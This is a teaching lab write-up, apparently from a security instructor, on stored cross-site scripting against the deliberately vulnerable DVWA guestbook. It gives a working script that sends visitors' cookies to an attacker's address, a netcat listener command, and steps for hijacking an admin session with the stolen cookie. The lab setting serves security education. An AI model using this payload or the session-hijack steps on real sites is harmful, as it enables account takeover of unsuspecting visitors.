XSS with a Vulnerable WebApp

Overview

Everybody browses the web. So it is no wonder that websites and web browsers present a large attack vector for hackers. Since 2002, the typical website has changed from a collection of linked pages of static text and images to dynamic, active, script-based applications that store and retrieve data from database servers. During this period, hackers have created innovative ways to inject their own code and scripts into poorly designed web pages and web applications. This code is then executed in the web browser of an unsuspecting visitor as well as on the web server that hosts the website. Injecting code into a website’s web application and having it target a visitors web browser is called a cross site scripting, XSS attack. Until just recently, cross site scripting attacks have represented a huge portion of all computer based attacks. To combat XSS attacks, web browsers have been patched and released with stricter security measures designed to stop unwanted code execution and web applications have been programmed in ways that sanitize the user’s input. Click here to learn more about cross site scripting and related attacks: http://en.wikipedia.org/wiki/Cross-site_scripting.

Materials

For this project, I used the following components:

  • Attacking computer – a VMware virtual machine with the Backtrack operating system installed
  • Webserver computer – a VMware virtual machine with Windows XP-Pro SP2 installed with no updates
  • XAMPP – downloaded then installed on the XP-Pro computer
  • DVWA – downloaded then extracted on the XP-Pro computer, the dvwa folder needs to be copied to the c:\xampp\htdocs folder
  • Tamper Data – downloaded and installed on the attackers Firefox web browser as an add-on

**Important Notes:

  • I had to edit the .htaccess file in the dvwa folder to allow access to the dvwa webapp from other computers beyond just the localhost at 127.0.0.1 (see video part1)
  • I had to edit the dvwa\vulnerabilities\xss_s\index.php file to allow more than 50 characters in the textarea message box so we could fit the entire malicious script (see video part2)

Steps

1.  Insert the script

Insert the XSS attack into a vulnerable webapp. In this case, in the website guestbook which does not sanitize the user input. Once the malicious script is inserted into the guestbook it can effect all visitors to that web page.

<script>new Image().src=”http://<attacker’s ip address>/b.php?”+ document.cookie;</script>

2.  Set up a listener

On the attacker’s computer, setup a Netcat listener to receive the webpage visitor’s session ID cookie. Once the listener is activated it waits for someone to visit the webpage that has the inserted malicious script in the guestbook.

#netcat -lvp 80

3.  Wait for a victim to visit the webpage

A website visitor logs into the website and then unsuspectingly views the guestbook webpage. When you login to the DVWA website make sure to set your security level to “low” before you visit the guestbook web page.

4. Steal the cookie session ID

When a someone visits the guestbook webpage, the Netcat listener will establish a connection, and the resulting output will show the visitor’s session ID number. Highlight the session ID number, right+click on it, and select “copy” to copy it to memory.

Example: “PHPSESSID=lhhnpsggqivlft2blosl8jo916”

5: The attacker is able to authenticate to the website with the stolen cookie

Now from the attacking computer (Backtrack) visit the target website. Before the attacker attempts to login to the website run the Tamper Data Firefox add-on.

In Firefox: Tool > Tamper Data.

Then when the program opens, click:

Start > Tamper.

Edit the Cookie Session ID replacing your SESSIONID with the stolen one, then click run. Once you are redirected to the login page, change the URL in the address bar to go directly to the homepage at http://<ip address>/dvwa/. Once again with Tamper Data still running select “Tamper” and then replace your cookie session ID with stolen cookie session ID stored in memory (ctrl+v) and click run. You should now see that you are logged into the target website as “Admin” with the user’s stolen token session ID.

Video Tutorial

 

Author: Dan

Dan teaches computer networking and security classes at Central Oregon Community College.

Leave a Reply

Your email address will not be published. Required fields are marked *